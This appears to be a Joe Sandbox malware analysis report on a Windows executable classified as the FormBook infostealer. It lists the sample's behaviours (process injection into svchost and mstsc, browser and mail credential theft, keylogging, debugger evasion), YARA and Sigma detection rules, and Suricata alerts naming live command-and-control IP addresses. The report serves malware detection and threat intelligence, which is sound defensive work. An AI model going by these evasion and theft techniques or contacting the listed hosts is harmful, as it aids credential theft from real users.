Edit tour

Windows Analysis Report
DOC092024-0431202229487.exe

Overview

General Information

Sample name:	DOC092024-0431202229487.exe
Analysis ID:	1509246
MD5:	3a3b2034d8649f6112faa82e0daba310
SHA1:	f3f9eb85d09171f0b92412cf5d4229d034f7417e
SHA256:	e355fe9720526a9376e0557040f4d2e4eb0772a41b18c027403566500929f4e5
Tags:	exe
Infos:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected FormBook

AI detected suspicious sample

Found direct / indirect Syscall (likely to bypass EDR)

Machine Learning detection for sample

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Performs DNS queries to domains with low reputation

Queues an APC in another process (thread injection)

Switches to a custom stack to bypass stack traces

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evaded block containing many API calls

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

Potential key logger detected (key state polling based)

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Uncommon Svchost Parent Process

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

DOC092024-0431202229487.exe (PID: 6740 cmdline: "C:\Users\user\Desktop\DOC092024-0431202229487.exe" MD5: 3A3B2034D8649F6112FAA82E0DABA310)

svchost.exe (PID: 6844 cmdline: "C:\Users\user\Desktop\DOC092024-0431202229487.exe" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)

NZuQxWwOkTbZ.exe (PID: 732 cmdline: "C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

mstsc.exe (PID: 6940 cmdline: "C:\Windows\SysWOW64\mstsc.exe" MD5: EA4A02BE14C405327EEBA8D9AD2BD42C)

NZuQxWwOkTbZ.exe (PID: 3496 cmdline: "C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

firefox.exe (PID: 7156 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Formbook, Formbo	FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.	SWEED Cobalt	http://blog.inquest.net/blog/2018/06/22/a-look-at-formbook-stealer/ http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html http://www.vkremez.com/2018/01/lets-learn-dissecting-formbook.html https://0xmrmagnezi.github.io/malware%20analysis/FormBook/ https://any.run/cybersecurity-blog/xloader-formbook-encryption-analysis-and-malware-decryption/	https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000001.00000002.1782440738.0000000000400000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000001.00000002.1782440738.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2f243:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x173d2:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000003.00000002.4144779638.0000000004330000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000003.00000002.4144779638.0000000004330000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2bec0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x1404f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000001.00000002.1783144995.0000000003650000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000001.00000002.1783144995.0000000003650000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2bec0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x1404f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000003.00000002.4144729578.00000000042E0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000003.00000002.4144729578.00000000042E0000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2bec0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x1404f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000005.00000002.4147103044.0000000004CD0000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000005.00000002.4147103044.0000000004CD0000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x3b6b1:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x23840:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000003.00000002.4143200808.0000000002640000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000003.00000002.4143200808.0000000002640000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2bec0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x1404f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000001.00000002.1783204016.0000000003A00000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000001.00000002.1783204016.0000000003A00000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x46265b:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x44a7ea:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000002.00000002.4144609194.0000000002590000.00000040.00000001.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000002.00000002.4144609194.0000000002590000.00000040.00000001.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x46265b:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x44a7ea:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
Click to see the 11 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
1.2.svchost.exe.400000.0.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
1.2.svchost.exe.400000.0.unpack	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2e443:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x165d2:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
1.2.svchost.exe.400000.0.raw.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
1.2.svchost.exe.400000.0.raw.unpack	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2f243:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x173d2:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01

Sigma Signatures

System Summary

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Users\user\Desktop\DOC092024-0431202229487.exe", CommandLine: "C:\Users\user\Desktop\DOC092024-0431202229487.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\DOC092024-0431202229487.exe", ParentImage: C:\Users\user\Desktop\DOC092024-0431202229487.exe, ParentProcessId: 6740, ParentProcessName: DOC092024-0431202229487.exe, ProcessCommandLine: "C:\Users\user\Desktop\DOC092024-0431202229487.exe", ProcessId: 6844, ProcessName: svchost.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: "C:\Users\user\Desktop\DOC092024-0431202229487.exe", CommandLine: "C:\Users\user\Desktop\DOC092024-0431202229487.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\DOC092024-0431202229487.exe", ParentImage: C:\Users\user\Desktop\DOC092024-0431202229487.exe, ParentProcessId: 6740, ParentProcessName: DOC092024-0431202229487.exe, ProcessCommandLine: "C:\Users\user\Desktop\DOC092024-0431202229487.exe", ProcessId: 6844, ProcessName: svchost.exe

Suricata Signatures

ET MALWARE FormBook CnC Checkin (GET) M5

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T11:17:25.129349+0200	2050745	1	Malware Command and Control Activity Detected	192.168.2.4	49736	81.88.63.46	80	TCP
2024-09-11T11:17:49.106206+0200	2050745	1	Malware Command and Control Activity Detected	192.168.2.4	63320	217.70.184.50	80	TCP
2024-09-11T11:18:02.763625+0200	2050745	1	Malware Command and Control Activity Detected	192.168.2.4	63324	172.96.187.60	80	TCP
2024-09-11T11:18:15.905254+0200	2050745	1	Malware Command and Control Activity Detected	192.168.2.4	63328	3.33.130.190	80	TCP
2024-09-11T11:18:29.322120+0200	2050745	1	Malware Command and Control Activity Detected	192.168.2.4	63332	67.223.117.189	80	TCP
2024-09-11T11:18:43.806174+0200	2050745	1	Malware Command and Control Activity Detected	192.168.2.4	63336	147.92.40.175	80	TCP
2024-09-11T11:18:56.954242+0200	2050745	1	Malware Command and Control Activity Detected	192.168.2.4	63340	3.33.130.190	80	TCP
2024-09-11T11:19:10.107614+0200	2050745	1	Malware Command and Control Activity Detected	192.168.2.4	63344	3.33.130.190	80	TCP
2024-09-11T11:19:23.495580+0200	2050745	1	Malware Command and Control Activity Detected	192.168.2.4	63348	3.33.130.190	80	TCP
2024-09-11T11:19:37.159361+0200	2050745	1	Malware Command and Control Activity Detected	192.168.2.4	63352	85.153.138.113	80	TCP
2024-09-11T11:19:50.920421+0200	2050745	1	Malware Command and Control Activity Detected	192.168.2.4	63356	104.21.11.31	80	TCP
2024-09-11T11:20:04.080886+0200	2050745	1	Malware Command and Control Activity Detected	192.168.2.4	63360	188.114.97.3	80	TCP
2024-09-11T11:20:17.882453+0200	2050745	1	Malware Command and Control Activity Detected	192.168.2.4	63364	3.33.130.190	80	TCP
2024-09-11T11:20:32.268339+0200	2050745	1	Malware Command and Control Activity Detected	192.168.2.4	63368	206.119.82.134	80	TCP
2024-09-11T11:20:45.747099+0200	2050745	1	Malware Command and Control Activity Detected	192.168.2.4	63372	65.21.196.90	80	TCP
2024-09-11T11:21:00.793822+0200	2050745	1	Malware Command and Control Activity Detected	192.168.2.4	63376	38.181.141.122	80	TCP
2024-09-11T11:21:10.103459+0200	2050745	1	Malware Command and Control Activity Detected	192.168.2.4	63377	81.88.63.46	80	TCP

ETPRO MALWARE FormBook CnC Checkin (GET) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T11:17:25.129349+0200	2855465	1	A Network Trojan was detected	192.168.2.4	49736	81.88.63.46	80	TCP
2024-09-11T11:17:49.106206+0200	2855465	1	A Network Trojan was detected	192.168.2.4	63320	217.70.184.50	80	TCP
2024-09-11T11:18:02.763625+0200	2855465	1	A Network Trojan was detected	192.168.2.4	63324	172.96.187.60	80	TCP
2024-09-11T11:18:15.905254+0200	2855465	1	A Network Trojan was detected	192.168.2.4	63328	3.33.130.190	80	TCP
2024-09-11T11:18:29.322120+0200	2855465	1	A Network Trojan was detected	192.168.2.4	63332	67.223.117.189	80	TCP
2024-09-11T11:18:43.806174+0200	2855465	1	A Network Trojan was detected	192.168.2.4	63336	147.92.40.175	80	TCP
2024-09-11T11:18:56.954242+0200	2855465	1	A Network Trojan was detected	192.168.2.4	63340	3.33.130.190	80	TCP
2024-09-11T11:19:10.107614+0200	2855465	1	A Network Trojan was detected	192.168.2.4	63344	3.33.130.190	80	TCP
2024-09-11T11:19:23.495580+0200	2855465	1	A Network Trojan was detected	192.168.2.4	63348	3.33.130.190	80	TCP
2024-09-11T11:19:37.159361+0200	2855465	1	A Network Trojan was detected	192.168.2.4	63352	85.153.138.113	80	TCP
2024-09-11T11:19:50.920421+0200	2855465	1	A Network Trojan was detected	192.168.2.4	63356	104.21.11.31	80	TCP
2024-09-11T11:20:04.080886+0200	2855465	1	A Network Trojan was detected	192.168.2.4	63360	188.114.97.3	80	TCP
2024-09-11T11:20:17.882453+0200	2855465	1	A Network Trojan was detected	192.168.2.4	63364	3.33.130.190	80	TCP
2024-09-11T11:20:32.268339+0200	2855465	1	A Network Trojan was detected	192.168.2.4	63368	206.119.82.134	80	TCP
2024-09-11T11:20:45.747099+0200	2855465	1	A Network Trojan was detected	192.168.2.4	63372	65.21.196.90	80	TCP
2024-09-11T11:21:00.793822+0200	2855465	1	A Network Trojan was detected	192.168.2.4	63376	38.181.141.122	80	TCP
2024-09-11T11:21:10.103459+0200	2855465	1	A Network Trojan was detected	192.168.2.4	63377	81.88.63.46	80	TCP

ETPRO MALWARE FormBook CnC Checkin (POST) M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T11:17:40.860929+0200	2855464	1	A Network Trojan was detected	192.168.2.4	63317	217.70.184.50	80	TCP
2024-09-11T11:17:44.027833+0200	2855464	1	A Network Trojan was detected	192.168.2.4	63318	217.70.184.50	80	TCP
2024-09-11T11:17:46.566841+0200	2855464	1	A Network Trojan was detected	192.168.2.4	63319	217.70.184.50	80	TCP
2024-09-11T11:17:55.140962+0200	2855464	1	A Network Trojan was detected	192.168.2.4	63321	172.96.187.60	80	TCP
2024-09-11T11:17:57.660795+0200	2855464	1	A Network Trojan was detected	192.168.2.4	63322	172.96.187.60	80	TCP
2024-09-11T11:18:00.220299+0200	2855464	1	A Network Trojan was detected	192.168.2.4	63323	172.96.187.60	80	TCP
2024-09-11T11:18:08.258289+0200	2855464	1	A Network Trojan was detected	192.168.2.4	63325	3.33.130.190	80	TCP
2024-09-11T11:18:11.092973+0200	2855464	1	A Network Trojan was detected	192.168.2.4	63326	3.33.130.190	80	TCP
2024-09-11T11:18:13.362343+0200	2855464	1	A Network Trojan was detected	192.168.2.4	63327	3.33.130.190	80	TCP
2024-09-11T11:18:22.311407+0200	2855464	1	A Network Trojan was detected	192.168.2.4	63329	67.223.117.189	80	TCP
2024-09-11T11:18:24.239922+0200	2855464	1	A Network Trojan was detected	192.168.2.4	63330	67.223.117.189	80	TCP
2024-09-11T11:18:26.797160+0200	2855464	1	A Network Trojan was detected	192.168.2.4	63331	67.223.117.189	80	TCP
2024-09-11T11:18:36.081007+0200	2855464	1	A Network Trojan was detected	192.168.2.4	63333	147.92.40.175	80	TCP
2024-09-11T11:18:38.649480+0200	2855464	1	A Network Trojan was detected	192.168.2.4	63334	147.92.40.175	80	TCP
2024-09-11T11:18:41.246867+0200	2855464	1	A Network Trojan was detected	192.168.2.4	63335	147.92.40.175	80	TCP
2024-09-11T11:18:49.314259+0200	2855464	1	A Network Trojan was detected	192.168.2.4	63337	3.33.130.190	80	TCP
2024-09-11T11:18:51.857060+0200	2855464	1	A Network Trojan was detected	192.168.2.4	63338	3.33.130.190	80	TCP
2024-09-11T11:18:54.378506+0200	2855464	1	A Network Trojan was detected	192.168.2.4	63339	3.33.130.190	80	TCP
2024-09-11T11:19:02.451571+0200	2855464	1	A Network Trojan was detected	192.168.2.4	63341	3.33.130.190	80	TCP
2024-09-11T11:19:05.018538+0200	2855464	1	A Network Trojan was detected	192.168.2.4	63342	3.33.130.190	80	TCP
2024-09-11T11:19:07.563352+0200	2855464	1	A Network Trojan was detected	192.168.2.4	63343	3.33.130.190	80	TCP
2024-09-11T11:19:15.625649+0200	2855464	1	A Network Trojan was detected	192.168.2.4	63345	3.33.130.190	80	TCP
2024-09-11T11:19:18.187779+0200	2855464	1	A Network Trojan was detected	192.168.2.4	63346	3.33.130.190	80	TCP
2024-09-11T11:19:20.725939+0200	2855464	1	A Network Trojan was detected	192.168.2.4	63347	3.33.130.190	80	TCP
2024-09-11T11:19:29.857744+0200	2855464	1	A Network Trojan was detected	192.168.2.4	63349	85.153.138.113	80	TCP
2024-09-11T11:19:32.000620+0200	2855464	1	A Network Trojan was detected	192.168.2.4	63350	85.153.138.113	80	TCP
2024-09-11T11:19:34.680405+0200	2855464	1	A Network Trojan was detected	192.168.2.4	63351	85.153.138.113	80	TCP
2024-09-11T11:19:43.318591+0200	2855464	1	A Network Trojan was detected	192.168.2.4	63353	104.21.11.31	80	TCP
2024-09-11T11:19:45.853997+0200	2855464	1	A Network Trojan was detected	192.168.2.4	63354	104.21.11.31	80	TCP
2024-09-11T11:19:48.378230+0200	2855464	1	A Network Trojan was detected	192.168.2.4	63355	104.21.11.31	80	TCP
2024-09-11T11:19:56.435701+0200	2855464	1	A Network Trojan was detected	192.168.2.4	63357	188.114.97.3	80	TCP
2024-09-11T11:19:58.982043+0200	2855464	1	A Network Trojan was detected	192.168.2.4	63358	188.114.97.3	80	TCP
2024-09-11T11:20:01.547658+0200	2855464	1	A Network Trojan was detected	192.168.2.4	63359	188.114.97.3	80	TCP
2024-09-11T11:20:10.230010+0200	2855464	1	A Network Trojan was detected	192.168.2.4	63361	3.33.130.190	80	TCP
2024-09-11T11:20:12.762486+0200	2855464	1	A Network Trojan was detected	192.168.2.4	63362	3.33.130.190	80	TCP
2024-09-11T11:20:15.332520+0200	2855464	1	A Network Trojan was detected	192.168.2.4	63363	3.33.130.190	80	TCP
2024-09-11T11:20:24.194165+0200	2855464	1	A Network Trojan was detected	192.168.2.4	63365	206.119.82.134	80	TCP
2024-09-11T11:20:27.186100+0200	2855464	1	A Network Trojan was detected	192.168.2.4	63366	206.119.82.134	80	TCP
2024-09-11T11:20:29.762687+0200	2855464	1	A Network Trojan was detected	192.168.2.4	63367	206.119.82.134	80	TCP
2024-09-11T11:20:38.047407+0200	2855464	1	A Network Trojan was detected	192.168.2.4	63369	65.21.196.90	80	TCP
2024-09-11T11:20:40.715590+0200	2855464	1	A Network Trojan was detected	192.168.2.4	63370	65.21.196.90	80	TCP
2024-09-11T11:20:43.199036+0200	2855464	1	A Network Trojan was detected	192.168.2.4	63371	65.21.196.90	80	TCP
2024-09-11T11:20:53.091857+0200	2855464	1	A Network Trojan was detected	192.168.2.4	63373	38.181.141.122	80	TCP
2024-09-11T11:20:55.058547+0200	2855464	1	A Network Trojan was detected	192.168.2.4	63374	38.181.141.122	80	TCP
2024-09-11T11:20:57.935818+0200	2855464	1	A Network Trojan was detected	192.168.2.4	63375	38.181.141.122	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: DOC092024-0431202229487.exe

Avira: detected

Multi AV Scanner detection for submitted file

Source: DOC092024-0431202229487.exe	ReversingLabs: Detection: 23%
Source: DOC092024-0431202229487.exe	Virustotal: Detection: 29%			Perma Link

Yara detected FormBook

Source: Yara match	File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.1782440738.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4144779638.0000000004330000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1783144995.0000000003650000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4144729578.00000000042E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4147103044.0000000004CD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4143200808.0000000002640000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1783204016.0000000003A00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4144609194.0000000002590000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: DOC092024-0431202229487.exe

Joe Sandbox ML: detected

Source: DOC092024-0431202229487.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: NZuQxWwOkTbZ.exe, 00000002.00000002.4143605796.000000000047E000.00000002.00000001.01000000.00000004.sdmp, NZuQxWwOkTbZ.exe, 00000005.00000002.4143319289.000000000047E000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: wntdll.pdbUGP source: DOC092024-0431202229487.exe, 00000000.00000003.1689587118.0000000004F70000.00000004.00001000.00020000.00000000.sdmp, DOC092024-0431202229487.exe, 00000000.00000003.1689806543.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1696144266.0000000003100000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1782791889.000000000349E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1782791889.0000000003300000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1693222050.0000000002F00000.00000004.00000020.00020000.00000000.sdmp, mstsc.exe, 00000003.00000002.4144953095.00000000046BE000.00000040.00001000.00020000.00000000.sdmp, mstsc.exe, 00000003.00000002.4144953095.0000000004520000.00000040.00001000.00020000.00000000.sdmp, mstsc.exe, 00000003.00000003.1787130944.00000000041CD000.00000004.00000020.00020000.00000000.sdmp, mstsc.exe, 00000003.00000003.1789604847.000000000437A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: DOC092024-0431202229487.exe, 00000000.00000003.1689587118.0000000004F70000.00000004.00001000.00020000.00000000.sdmp, DOC092024-0431202229487.exe, 00000000.00000003.1689806543.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000001.00000003.1696144266.0000000003100000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1782791889.000000000349E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1782791889.0000000003300000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1693222050.0000000002F00000.00000004.00000020.00020000.00000000.sdmp, mstsc.exe, mstsc.exe, 00000003.00000002.4144953095.00000000046BE000.00000040.00001000.00020000.00000000.sdmp, mstsc.exe, 00000003.00000002.4144953095.0000000004520000.00000040.00001000.00020000.00000000.sdmp, mstsc.exe, 00000003.00000003.1787130944.00000000041CD000.00000004.00000020.00020000.00000000.sdmp, mstsc.exe, 00000003.00000003.1789604847.000000000437A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mstsc.pdbGCTL source: svchost.exe, 00000001.00000003.1751655428.0000000006D00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1751502120.0000000006B00000.00000004.00000020.00020000.00000000.sdmp, NZuQxWwOkTbZ.exe, 00000002.00000003.1725911829.0000000004047000.00000004.00000001.00020000.00000000.sdmp, NZuQxWwOkTbZ.exe, 00000002.00000003.1726302794.000000000418E000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: mstsc.exe, 00000003.00000002.4143406843.0000000002811000.00000004.00000020.00020000.00000000.sdmp, mstsc.exe, 00000003.00000002.4145420454.0000000004B4C000.00000004.10000000.00040000.00000000.sdmp, NZuQxWwOkTbZ.exe, 00000005.00000000.1855702857.000000000289C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2074422264.000000001DF4C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: mstsc.pdb source: svchost.exe, 00000001.00000003.1751655428.0000000006D00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1751502120.0000000006B00000.00000004.00000020.00020000.00000000.sdmp, NZuQxWwOkTbZ.exe, 00000002.00000003.1725911829.0000000004047000.00000004.00000001.00020000.00000000.sdmp, NZuQxWwOkTbZ.exe, 00000002.00000003.1726302794.000000000418E000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: mstsc.exe, 00000003.00000002.4143406843.0000000002811000.00000004.00000020.00020000.00000000.sdmp, mstsc.exe, 00000003.00000002.4145420454.0000000004B4C000.00000004.10000000.00040000.00000000.sdmp, NZuQxWwOkTbZ.exe, 00000005.00000000.1855702857.000000000289C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2074422264.000000001DF4C000.00000004.80000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0072DD92 GetFileAttributesW,FindFirstFileW,FindClose,	0_2_0072DD92
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_00762044 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00762044
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0076219F SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_0076219F
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_007624A9 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_007624A9
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_00756B3F _wcscat,_wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindNextFileW,FindClose,FindClose,	0_2_00756B3F
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_00756E4A _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,	0_2_00756E4A
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0075F350 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_0075F350
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0075FD47 FindFirstFileW,FindClose,	0_2_0075FD47
